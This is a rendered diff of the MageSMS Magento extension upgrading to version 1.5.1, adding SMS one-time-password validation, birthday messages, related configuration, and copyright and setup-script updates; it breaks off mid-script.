  </adminhtml>
205
  <frontend>
206
  <events>
@@ -228,6 +282,18 @@
228
  </Topefekt_Magesms_ClearOptout>
229
  </observers>
230
  </sales_quote_remove_item>
 
 
 
 
 
 
 
 
 
 
 
 
231
  </events>
232
  <routers>
233
  <magesms>
@@ -237,6 +303,13 @@
237
  <frontName>magesms</frontName>
238
  </args>
239
  </magesms>
 
 
 
 
 
 
 
240
  </routers>
241
  <layout>
242
  <updates>
@@ -271,7 +344,18 @@
271
  <magesms>
272
  <enable>1</enable>
273
  </magesms>
 
 
 
 
 
274
  </magesms>
 
 
 
 
 
 
275
  </default>
276
  <crontab>
277
  <jobs>
@@ -283,6 +367,14 @@
283
  <model>magesms/observer::cronUpdate</model>
284
  </run>
285
  </topefekt_magesms>
 
 
 
 
 
 
 
 
286
  </jobs>
287
  </crontab>
288
  </config>
2
  <config>
3
  <modules>
4
  <Topefekt_Magesms>
5
+ <version>1.5.1</version>
6
  </Topefekt_Magesms>
7
  </modules>
8
 
19
  <data>Topefekt_Magesms_Helper_Data</data>
20
  </rewrite>
21
  </magesms>
22
+ <customer>
23
+ <rewrite>
24
+ <data>Topefekt_Magesms_Helper_Customer</data>
25
+ </rewrite>
26
+ </customer>
27
  <adminhtml>
28
  <rewrite>
29
  <data>Topefekt_Magesms_Helper_Adminhtml_Data</data>
107
  <optout_order>
108
  <table>magesms_optout_order</table>
109
  </optout_order>
110
+ <birthdaymessages_template>
111
+ <table>magesms_birthdaymessages_template</table>
112
+ </birthdaymessages_template>
113
  </entities>
114
  </magesms_mysql4>
115
  <cataloginventory_resource>
146
  </Topefekt_Magesms_ProductStock>
147
  </observers>
148
  </cataloginventory_stock_item_save_after>
149
+ <sales_order_place_before>
150
+ <observers>
151
+ <Topefekt_Magesms_NewOrderOTP>
152
+ <class>magesms/observer</class>
153
+ <method>newOrderOTP</method>
154
+ </Topefekt_Magesms_NewOrderOTP>
155
+ </observers>
156
+ </sales_order_place_before>
157
  <sales_order_place_after>
158
  <observers>
159
  <Topefekt_Magesms_NewOrder>
186
  </Topefekt_Magesms_LockSku>
187
  </observers>
188
  </catalog_product_edit_action>
189
+ <topefekt_magesms_customersms_groups>
190
+ <observers>
191
+ <Topefekt_BirthdayMessages_CustomersmsGroups>
192
+ <class>magesms/birthdaymessages_observer</class>
193
+ <method>customersmsGroups</method>
194
+ </Topefekt_BirthdayMessages_CustomersmsGroups>
195
+ <Topefekt_Magesms_Otp_Account>
196
+ <class>magesms/otp_observer</class>
197
+ <method>customersmsGroupsAccount</method>
198
+ </Topefekt_Magesms_Otp_Account>
199
+ <Topefekt_Magesms_Otp_Order>
200
+ <class>magesms/otp_observer</class>
201
+ <method>ordersmsGroupsAccount</method>
202
+ </Topefekt_Magesms_Otp_Order>
203
+ <Topefekt_Magesms_Otp_Checkout>
204
+ <class>magesms/otp_observer</class>
205
+ <method>checkoutCustomer</method>
206
+ </Topefekt_Magesms_Otp_Checkout>
207
+ </observers>
208
+ </topefekt_magesms_customersms_groups>
209
+ <topefekt_magesms_customersms_save>
210
+ <observers>
211
+ <Topefekt_BirthdayMessages_CustomersmsSave>
212
+ <class>magesms/birthdaymessages_observer</class>
213
+ <method>save</method>
214
+ </Topefekt_BirthdayMessages_CustomersmsSave>
215
+ </observers>
216
+ </topefekt_magesms_customersms_save>
217
  </events>
218
  </global>
219
 
245
  </magesms>
246
  </updates>
247
  </layout>
248
+ <events>
249
+ <adminhtml_widget_container_html_before>
250
+ <observers>
251
+ <Topefekt_Magesms_AddButtonSendSms>
252
+ <class>magesms/observer</class>
253
+ <method>adminhtmlWidgetContainerHtmlBefore</method>
254
+ </Topefekt_Magesms_AddButtonSendSms>
255
+ </observers>
256
+ </adminhtml_widget_container_html_before>
257
+ </events>
258
  </adminhtml>
259
  <frontend>
260
  <events>
282
  </Topefekt_Magesms_ClearOptout>
283
  </observers>
284
  </sales_quote_remove_item>
285
+ <core_block_abstract_to_html_after>
286
+ <observers>
287
+ <Topefekt_Magesms_CheckoutOrderOTP>
288
+ <class>magesms/observer</class>
289
+ <method>checkoutOrderOTP</method>
290
+ </Topefekt_Magesms_CheckoutOrderOTP>
291
+ <Topefekt_Magesms_CheckoutCustomerOTP>
292
+ <class>magesms/observer</class>
293
+ <method>checkoutCustomerOTP</method>
294
+ </Topefekt_Magesms_CheckoutCustomerOTP>
295
+ </observers>
296
+ </core_block_abstract_to_html_after>
297
  </events>
298
  <routers>
299
  <magesms>
303
  <frontName>magesms</frontName>
304
  </args>
305
  </magesms>
306
+ <customer>
307
+ <args>
308
+ <modules>
309
+ <topefekt_magesms before="Mage_Customer">Topefekt_Magesms</topefekt_magesms>
310
+ </modules>
311
+ </args>
312
+ </customer>
313
  </routers>
314
  <layout>
315
  <updates>
344
  <magesms>
345
  <enable>1</enable>
346
  </magesms>
347
+ <smsvalid>
348
+ <code_length>6</code_length>
349
+ <code_lifetime>600</code_lifetime>
350
+ <session_lifetime>3600</session_lifetime>
351
+ </smsvalid>
352
  </magesms>
353
+ <birthdaymessages>
354
+ <template>
355
+ <default></default>
356
+ <time>7:00:00</time>
357
+ </template>
358
+ </birthdaymessages>
359
  </default>
360
  <crontab>
361
  <jobs>
367
  <model>magesms/observer::cronUpdate</model>
368
  </run>
369
  </topefekt_magesms>
370
+ <topefekt_birthdaymessages>
371
+ <schedule>
372
+ <cron_expr>*/1 * * * *</cron_expr>
373
+ </schedule>
374
+ <run>
375
+ <model>magesms/birthdaymessages_observer::cron</model>
376
+ </run>
377
+ </topefekt_birthdaymessages>
378
  </jobs>
379
  </crontab>
380
  </config>
app/code/community/Topefekt/Magesms/etc/system.xml CHANGED
@@ -119,6 +119,71 @@
119
  </apikey>
120
  </fields>
121
  </api>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
122
  </groups>
123
  </magesms>
124
  </sections>
119
  </apikey>
120
  </fields>
121
  </api>
122
+ <smsvalid translate="label" module="magesms">
123
+ <label>SMS Validations (OTP)</label>
124
+ <frontend_type>text</frontend_type>
125
+ <sort_order>104</sort_order>
126
+ <show_in_default>1</show_in_default>
127
+ <show_in_website>0</show_in_website>
128
+ <show_in_store>0</show_in_store>
129
+ <fields>
130
+ <code_type translate="label,comment" module="magesms">
131
+ <label>Type</label>
132
+ <frontend_type>select</frontend_type>
133
+ <source_model>magesms/system_config_otpType</source_model>
134
+ <sort_order>10</sort_order>
135
+ <show_in_default>1</show_in_default>
136
+ <show_in_website>0</show_in_website>
137
+ <show_in_store>0</show_in_store>
138
+ </code_type>
139
+ <code_length translate="label,comment" module="magesms">
140
+ <label>Length code</label>
141
+ <frontend_type>text</frontend_type>
142
+ <validate>validate-digits-range digits-range-4-16</validate>
143
+ <sort_order>20</sort_order>
144
+ <show_in_default>1</show_in_default>
145
+ <show_in_website>0</show_in_website>
146
+ <show_in_store>0</show_in_store>
147
+ </code_length>
148
+ <code_lifetime translate="label,comment" module="magesms">
149
+ <label>Lifetime code</label>
150
+ <frontend_type>text</frontend_type>
151
+ <validate>validate-digits-range digits-range-30-3600</validate>
152
+ <sort_order>30</sort_order>
153
+ <show_in_default>1</show_in_default>
154
+ <show_in_website>0</show_in_website>
155
+ <show_in_store>0</show_in_store>
156
+ </code_lifetime>
157
+ <session_lifetime translate="label,comment" module="magesms">
158
+ <label>Lifetime session</label>
159
+ <frontend_type>text</frontend_type>
160
+ <validate>validate-digits-range digits-range-30-3600</validate>
161
+ <sort_order>40</sort_order>
162
+ <show_in_default>1</show_in_default>
163
+ <show_in_website>0</show_in_website>
164
+ <show_in_store>0</show_in_store>
165
+ </session_lifetime>
166
+ </fields>
167
+ </smsvalid>
168
+ <birthday translate="label" module="magesms">
169
+ <label>Birthday Messages (beta)</label>
170
+ <frontend_type>text</frontend_type>
171
+ <sort_order>110</sort_order>
172
+ <show_in_default>1</show_in_default>
173
+ <show_in_website>1</show_in_website>
174
+ <show_in_store>1</show_in_store>
175
+ <fields>
176
+ <enabled translate="label">
177
+ <label>Enabled</label>
178
+ <frontend_type>select</frontend_type>
179
+ <source_model>adminhtml/system_config_source_yesno</source_model>
180
+ <sort_order>1</sort_order>
181
+ <show_in_default>1</show_in_default>
182
+ <show_in_website>0</show_in_website>
183
+ <show_in_store>0</show_in_store>
184
+ </enabled>
185
+ </fields>
186
+ </birthday>
187
  </groups>
188
  </magesms>
189
  </sections>
app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-install-0.9.0.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-install-1.0.0.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-upgrade-0.9.11-0.9.12.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-upgrade-0.9.12-0.9.13.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-upgrade-1.0.1-1.0.2.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-upgrade-1.1.3-1.1.4.php CHANGED
@@ -10,11 +10,11 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
17
  DELETE FROM `{$this->getTable('magesms_hooks_admins')}`
18
  WHERE `admin_id` NOT IN (
19
  SELECT `ID` FROM `{$this->getTable('magesms_admins')}`);
20
- "); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->endSetup(); if (version_compare(Mage::getVersion(), '1.6', '<')) { include_once dirname(__FILE__).'/../../data/magesms_setup/data-upgrade-1.1.3-1.1.4.php'; }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
17
  DELETE FROM `{$this->getTable('magesms_hooks_admins')}`
18
  WHERE `admin_id` NOT IN (
19
  SELECT `ID` FROM `{$this->getTable('magesms_admins')}`);
20
+ "); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->endSetup();
app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-upgrade-1.1.5-1.2.0.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-upgrade-1.3.3-1.3.4.php CHANGED
@@ -10,10 +10,10 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
- $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->addAttribute('catalog_product', 'magesms_optout', array( 'global' => Mage_Catalog_Model_Resource_Eav_Attribute::SCOPE_WEBSITE, 'type' => 'int', 'backend' => '', 'frontend' => '', 'label' => 'MageSMS Opt-out', 'input' => 'hidden', 'visible' => false, 'required' => false, 'user_defined' => false, 'default' => '1', 'searchable' => false, 'filterable' => false, 'comparable' => false, 'visible_on_front' => false, 'unique' => false, )); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
17
  CREATE TABLE IF NOT EXISTS `{$this->getTable('magesms_optout_order')}` (
18
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
19
  `order_id` int(10) unsigned NOT NULL,
@@ -21,4 +21,4 @@
21
  PRIMARY KEY (`id`),
22
  KEY `order_id` (`order_id`)
23
  ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
24
- "); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->addAttribute('customer', 'magesms_customer_marketing', array( 'global' => Mage_Catalog_Model_Resource_Eav_Attribute::SCOPE_STORE, 'type' => 'int', 'backend' => '', 'frontend' => '', 'label' => 'MageSMS Customer Marketing', 'input' => 'select', 'visible' => true, 'required' => false, 'user_defined' => true, 'default' => '1', 'searchable' => false, 'filterable' => false, 'comparable' => false, 'visible_on_front' => true, 'unique' => false, 'source' => 'eav/entity_attribute_source_boolean', )); $i1b4202c93885bea895a6d1a03d58657ba01d9342 = Mage::getSingleton('eav/config'); $i76200fed8240be52de0fc75ec3367898a197407f = $i1b4202c93885bea895a6d1a03d58657ba01d9342->getAttribute('customer', 'magesms_customer_marketing'); $i76200fed8240be52de0fc75ec3367898a197407f->setData('used_in_forms', array('adminhtml_customer','customer_account_create','customer_account_edit', 'checkout_register')); $i76200fed8240be52de0fc75ec3367898a197407f->save(); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->endSetup(); if (version_compare(Mage::getVersion(), '1.6', '<')) { include_once dirname(__FILE__).'/../../data/magesms_setup/data-upgrade-1.2.0-1.2.1.php'; include_once dirname(__FILE__).'/../../data/magesms_setup/data-upgrade-1.3.1-1.3.2.php'; }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
+ $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $id57d139cfcd7590b603d5b061a6237d01bc011b2 = Mage::getResourceModel('catalog/eav_attribute') ->loadByCode('catalog_product', 'magesms_optout'); if (!$id57d139cfcd7590b603d5b061a6237d01bc011b2->getId()) { $iddb18dc4afa6663cf07a52c741943ff87cbe3896->addAttribute('catalog_product', 'magesms_optout', array( 'global' => Mage_Catalog_Model_Resource_Eav_Attribute::SCOPE_WEBSITE, 'type' => 'int', 'backend' => '', 'frontend' => '', 'label' => 'MageSMS Opt-out', 'input' => 'hidden', 'visible' => false, 'required' => false, 'user_defined' => false, 'default' => '1', 'searchable' => false, 'filterable' => false, 'comparable' => false, 'visible_on_front' => false, 'unique' => false, )); } $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
17
  CREATE TABLE IF NOT EXISTS `{$this->getTable('magesms_optout_order')}` (
18
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
19
  `order_id` int(10) unsigned NOT NULL,
21
  PRIMARY KEY (`id`),
22
  KEY `order_id` (`order_id`)
23
  ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
24
+ "); $id57d139cfcd7590b603d5b061a6237d01bc011b2 = Mage::getResourceModel('catalog/eav_attribute') ->loadByCode('customer', 'magesms_customer_marketing'); if (!$id57d139cfcd7590b603d5b061a6237d01bc011b2->getId()) { $iddb18dc4afa6663cf07a52c741943ff87cbe3896->addAttribute('customer', 'magesms_customer_marketing', array( 'global' => Mage_Catalog_Model_Resource_Eav_Attribute::SCOPE_STORE, 'type' => 'int', 'backend' => '', 'frontend' => '', 'label' => 'MageSMS Customer Marketing', 'input' => 'select', 'visible' => true, 'required' => false, 'user_defined' => true, 'default' => '1', 'searchable' => false, 'filterable' => false, 'comparable' => false, 'visible_on_front' => true, 'unique' => false, 'source' => 'eav/entity_attribute_source_boolean', )); $i1b4202c93885bea895a6d1a03d58657ba01d9342 = Mage::getSingleton('eav/config'); $i76200fed8240be52de0fc75ec3367898a197407f = $i1b4202c93885bea895a6d1a03d58657ba01d9342->getAttribute('customer', 'magesms_customer_marketing'); $i76200fed8240be52de0fc75ec3367898a197407f->setData('used_in_forms', array('adminhtml_customer', 'customer_account_create', 'customer_account_edit', 'checkout_register')); $i76200fed8240be52de0fc75ec3367898a197407f->save(); } $iddb18dc4afa6663cf07a52c741943ff87cbe3896->endSetup(); if (version_compare(Mage::getVersion(), '1.6', '<')) { include_once dirname(__FILE__).'/../../data/magesms_setup/data-upgrade-1.2.0-1.2.1.php'; include_once dirname(__FILE__).'/../../data/magesms_setup/data-upgrade-1.3.1-1.3.2.php'; }
app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-upgrade-1.3.6-1.4.0.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
- $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce = Mage::getModel('magesms/maps')->getCollection()->addFieldToFilter('area', 237)->addFieldToFilter('number', 9); if (!$i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce->count()) { Mage::getModel('magesms/maps')->setArea(237)->setNumber(9)->save(); } Mage::getConfig()->reinit(); Mage::app()->reinitStores(); $ie54fcd5470bd7f31f709089290e33bb03e655c25 = array(); foreach (Mage::app()->getStores() as $i3763a59a4c1873eeb396b46caa87140ccb7bc631) { $ia35eb6e21739b9f362d4085ebe7dee274bc421a7 = Mage::getModel('core/store')->load($i3763a59a4c1873eeb396b46caa87140ccb7bc631->getId())->getConfig('general/locale/code'); if (!in_array($ia35eb6e21739b9f362d4085ebe7dee274bc421a7, array_values($ie54fcd5470bd7f31f709089290e33bb03e655c25))) { $ie54fcd5470bd7f31f709089290e33bb03e655c25[] = $ia35eb6e21739b9f362d4085ebe7dee274bc421a7; } } if (count($ie54fcd5470bd7f31f709089290e33bb03e655c25)) { $i47f954bfb9dd4be93a5c46b2c8260d3fbc064235 = Mage::getModel('core/resource_transaction'); $i3f9de7a8e56927ebf8381b5412baaf4548ab1e62 = Mage::getModel('magesms/hooks_customers')->getCollection()->addFieldToFilter('mutation', array('like' => '__\_%')); foreach ($i3f9de7a8e56927ebf8381b5412baaf4548ab1e62 as $ia95e2cbdd7c4f15529016efe3018555ad75ee3e4) { $ia95e2cbdd7c4f15529016efe3018555ad75ee3e4->isDeleted(true); $i47f954bfb9dd4be93a5c46b2c8260d3fbc064235->addObject($ia95e2cbdd7c4f15529016efe3018555ad75ee3e4); } $i5873f2ce330009cf680967439e8b5bc4dcc47b65 = Mage::getModel('magesms/hooks_customers')->getCollection()->addFieldToFilter('mutation', 'default'); foreach ($i5873f2ce330009cf680967439e8b5bc4dcc47b65 as $i816ffec1f9a32e2bde09d40428fad957ae5edba0) { $i6a8c141169d48ca0fd1da7ba133093ee034712b6 = false; foreach ($ie54fcd5470bd7f31f709089290e33bb03e655c25 as $i593f9fb6306ab4cdb862f1ef6769504d63647c90) { if ($i6a8c141169d48ca0fd1da7ba133093ee034712b6) { $i816ffec1f9a32e2bde09d40428fad957ae5edba0->setMutation($i593f9fb6306ab4cdb862f1ef6769504d63647c90); $i47f954bfb9dd4be93a5c46b2c8260d3fbc064235->addObject($i816ffec1f9a32e2bde09d40428fad957ae5edba0); $i6a8c141169d48ca0fd1da7ba133093ee034712b6 = false; } else { $i21e55df616c305955791876c1eb4da83448beba2 = Mage::getModel('magesms/hooks_customers'); $i21e55df616c305955791876c1eb4da83448beba2->addData($i816ffec1f9a32e2bde09d40428fad957ae5edba0->getData()); $i21e55df616c305955791876c1eb4da83448beba2->unsId(); $i21e55df616c305955791876c1eb4da83448beba2->setMutation($i593f9fb6306ab4cdb862f1ef6769504d63647c90); $i47f954bfb9dd4be93a5c46b2c8260d3fbc064235->addObject($i21e55df616c305955791876c1eb4da83448beba2); } } } $idfa032f3c6e5ae7a5ed2f2c1ee51cca1f877d8ab = Mage::getModel('magesms/hooks_unicode')->getCollection() ->addFieldToFilter('area', array('like' => '__\_%'))->addFieldToFilter('type', 'customer'); foreach ($idfa032f3c6e5ae7a5ed2f2c1ee51cca1f877d8ab as $i7d1f5efb0c774f1e6b3d8e66cea1bdb630249d67) { $i7d1f5efb0c774f1e6b3d8e66cea1bdb630249d67->isDeleted(true); $i47f954bfb9dd4be93a5c46b2c8260d3fbc064235->addObject($i7d1f5efb0c774f1e6b3d8e66cea1bdb630249d67); } $i737316bf7223562994c418fae8d8e2b2e808c67b = Mage::getModel('magesms/hooks_unicode')->getCollection() ->addFieldToFilter('area', 'default')->addFieldToFilter('type', 'customer'); foreach ($i737316bf7223562994c418fae8d8e2b2e808c67b as $i0c01e8a28c3997e59de75905c4e02365535c6181) { $i6a8c141169d48ca0fd1da7ba133093ee034712b6 = false; foreach ($ie54fcd5470bd7f31f709089290e33bb03e655c25 as $i593f9fb6306ab4cdb862f1ef6769504d63647c90) { if ($i6a8c141169d48ca0fd1da7ba133093ee034712b6) { $i0c01e8a28c3997e59de75905c4e02365535c6181->setArea($i593f9fb6306ab4cdb862f1ef6769504d63647c90); $i47f954bfb9dd4be93a5c46b2c8260d3fbc064235->addObject($i0c01e8a28c3997e59de75905c4e02365535c6181); $i6a8c141169d48ca0fd1da7ba133093ee034712b6 = false; } else { $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd = Mage::getModel('magesms/hooks_unicode'); $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->setArea($i593f9fb6306ab4cdb862f1ef6769504d63647c90); $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->setUnicode($i0c01e8a28c3997e59de75905c4e02365535c6181->getUnicode()); $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->setType($i0c01e8a28c3997e59de75905c4e02365535c6181->getType()); $i47f954bfb9dd4be93a5c46b2c8260d3fbc064235->addObject($ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd); } } } $i47f954bfb9dd4be93a5c46b2c8260d3fbc064235->save(); } $iddb18dc4afa6663cf07a52c741943ff87cbe3896->endSetup();
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
+ $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->endSetup(); if (version_compare(Mage::getVersion(), '1.6', '<')) { include_once dirname(__FILE__) . '/../../data/magesms_setup/data-upgrade-1.3.6-1.4.0.php'; }
app/code/community/Topefekt/Magesms/sql/magesms_setup/mysql4-upgrade-1.4.0-1.4.1.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
- $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce = Mage::getModel('magesms/maps')->getCollection()->addFieldToFilter('area', 51)->addFieldToFilter('number', 9); if (!$i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce->count()) { Mage::getModel('magesms/maps')->setArea(51)->setNumber(9)->save(); } $i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce = Mage::getModel('magesms/maps')->getCollection()->addFieldToFilter('area', 51)->addFieldToFilter('number', 10); if (!$i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce->count()) { Mage::getModel('magesms/maps')->setArea(51)->setNumber(10)->save(); } $i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce = Mage::getModel('magesms/maps')->getCollection()->addFieldToFilter('area', 51)->addFieldToFilter('number', 11); foreach ($i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce as $iea2646e1bc9c30628936676e18f22d4a02f4a44a) { 